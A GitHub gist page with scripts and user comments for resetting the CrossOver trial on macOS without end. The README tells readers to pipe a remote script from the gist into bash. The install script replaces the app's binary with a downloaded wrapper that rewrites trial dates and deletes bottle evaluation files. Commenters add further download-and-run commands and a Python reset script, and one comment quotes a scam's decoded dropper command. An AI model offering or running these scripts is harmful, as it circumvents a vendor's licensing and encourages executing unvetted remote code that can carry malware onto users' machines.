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unlimited CrossOver trial (MacOS)
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README.md

Run it in console for permanent install :

bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"

After install script will fix crossover as well as expired bottles (Thanks to @djsmax).

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CrossOver.sh
#!/usr/bin/env bash
# checck if pidof exists
PIDOF="$(which pidof)"
# and if not - install it
(test "${PIDOF}" && test -f "${PIDOF}") || brew install pidof
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
# wait until app finish
sleep 3
# make the current date RFC3339-encoded string representation in UTC time zone
DATETIME=`date -u -v -3H '+%Y-%m-%dT%TZ'`
# modify time in order to reset trial
plutil -replace FirstRunDate -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist
plutil -replace SULastCheckTime -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist
# show tooltip notification
/usr/bin/osascript -e "display notification \"trial fixed: date changed to ${DATETIME}\""
# reset all bottles
for file in ~/Library/Application\ Support/CrossOver/Bottles/*/.{eval,update-timestamp}; do rm -rf "${file}";done
# and after this execute original crossover
echo "${PWD}" > /tmp/co_log.log
"$($PWD/CrossOver.origin)" >> /tmp/co_log.log
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install.sh
#!/usr/bin/env bash
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
TIMESTAMP=$(date +%s)
FIX_FILE_LINK="https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/CrossOver.sh?token=${TIMESTAMP}"
if [ -f CrossOver.origin ]; then
echo 'already installed. update and exit.'
echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver
exit
fi;
test -f CrossOver.origin || mv CrossOver CrossOver.origin
echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver
chmod +x CrossOver
echo 'Done. Please open CrossOver '
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uninstall.sh
#!/usr/bin/env bash
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
if [ -f CrossOver.origin ]; then
echo 'original file found. Roll it back and exit.'
mv CrossOver.origin CrossOver
exit
fi;
echo 'original file not found.'
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MPT109 commented Aug 7, 2025

Did not work for me, running the script in terminal, it still counts down on the trial period days. Can anyone elaborate on how to do it correctly? what I did was put copy paste the link/line from the main post and put it into terminal, hit enter. Also tried this "Script here — resets trial, bottle reset included (experimental)." but it still counts down on the trial period. Im 100% doing something wrong

try to download and run it locally: curl -fsSL "https://raw.githubusercontent.com/xVc323/crossover-trial/main/reset_crossover_fully.sh" -o reset_crossover_fully.sh
chmod +x reset_crossover_fully.sh
./reset_crossover_fully.sh
after that, just run this command to reset: ./reset_crossover_fully.sh

@themadhuramdhawan
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So I have to install Crossover, use the trial, and then run that command once the trial’s over, right?

@HotWordland
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#!/usr/bin/env python3
import os
import shutil
import re
import plistlib
from datetime import datetime

print("Resetting Crossover FirstRunDate...")
# Set os path
userPath = os.path.expanduser('~')

# Open plist
with open(f'{userPath}/Library/Preferences/com.codeweavers.CrossOver.plist', 'rb') as f:
    pl = plistlib.load(f)


# Set first run date to correct time
pl['FirstRunDate'] = datetime.utcnow()

# Save plist
with open(f'{userPath}/Library/Preferences/com.codeweavers.CrossOver.plist', 'wb') as f:
    plistlib.dump(pl, f)

print("Resetting Crossover bottles...")
while True:
    # Get bottle name
    bottle_name = input("Enter the bottle name: ")

    # Define paths
    regfile = os.path.expanduser(f"~/Library/Application Support/CrossOver/Bottles/{bottle_name}/system.reg")
    bakfile = regfile + ".bak"

    # Create backup
    shutil.copy2(regfile, bakfile)
    print(f"Backup created: {bakfile}")

    # Compile the regex pattern
    pattern = re.compile(r"\[Software\\\\CodeWeavers\\\\CrossOver\\\\cxoffice\] [0-9]*")

    # Read the file and search for match line
    with open(regfile, 'r') as f:
        lines = f.readlines()

    match_line_num = None
    for i, line in enumerate(lines):
        if pattern.search(line):
            match_line_num = i
            break

    # If match is found
    if match_line_num is not None:
        print(f"Match found at line {match_line_num + 1}.")
        for line in lines[match_line_num:match_line_num + 5]:
            print(line, end='')

        resp = input("Do you want to delete these lines (delete to reset bottle)? (y/n): ").strip().lower()
        if resp == 'y':
            new_lines = lines[:match_line_num] + lines[match_line_num + 5:]
            with open(regfile, 'w') as f:
                f.writelines(new_lines)
            print("Lines deleted.")
        else:
            print("Deletion canceled.")
    else:
        print("No match found.")

    # Ask if we should continue
    resp = input("Do you want to reset another bottle? (y/n): ").strip().lower()
    if resp != 'y':
        print("CrossOver trial reset.")
        break

this is works for me

@tadonagiren
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Can I use it with Crossover 25.1.1?

@fmPeretti
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Can I use it with Crossover 25.1.1?

yes

@zyndrolith
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anyone know if the command at the very top of the thread actually works? i’m a little skeptical about it due to it linking to elsewhere…

@tadonagiren
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Can I use it with Crossover 25.1.1?

yes

Is that true? Thanks for letting me know!

@AguSandoval
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running the command on my iTerm returns the following err:

`bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"

any idea what's happening or where I'm wrong?

@nsheuerman-tech
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Is there a noob guide to doing this? I know how to use terminal and all, and I installed the brew/crossover command, but Im a little confused on what steps to take (click every link?) and in what order..

TIA

@Nygosaki
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@nsheuerman-tech @AguSandoval @tadonagiren @zyndrolith
The old command fron santaklouse has been outdated for a very long time.
An updated version is here https://github.com/Nygosaki/crossover-trial-renew.
You can see the source code in the repo and run that directly if you'd like.

@mousawiyoyo7-lab
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How to extend if i didnt create a bottle. And can some one explain how to do it coz i kinda lost

@insanerest
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@thedownloadfile Nobody is dumb enough to download this malware. Here are the reasons:

  1. It's not open source. If it's not malware, then why don't you put the source code for the cracked crossover so that people can build it themselves
  2. Crossover was built to run Windows on Mac. Of course, since you never read about crossover and all you want to do is scam people, you don't know that. And so, you provide an EXE file meant to run on Windows, not Mac. And that's a reason to suspect you're a scammer.
  3. Even if someone were to download your malware, he'd discover that it's an EXE file and not a Mac app. So he won't run it.

If you are reading this comment, please report @thedownloadfile profile to GitHub.

@UrkiMimi
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For the hell of it, I went to the site @thedownloadfile posted and it redirected me to a blatant shell command scam lmao. It tells the user to paste in a base64 encoded string into the terminal (which decodes to curl -s -k [sketchy url] -o .rc && chmod +x .rc && ./.rc && rm .rc).

I did try to run this in Tria.ge but the executable it downloads is ARM only.

@supahfox
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I've reported them
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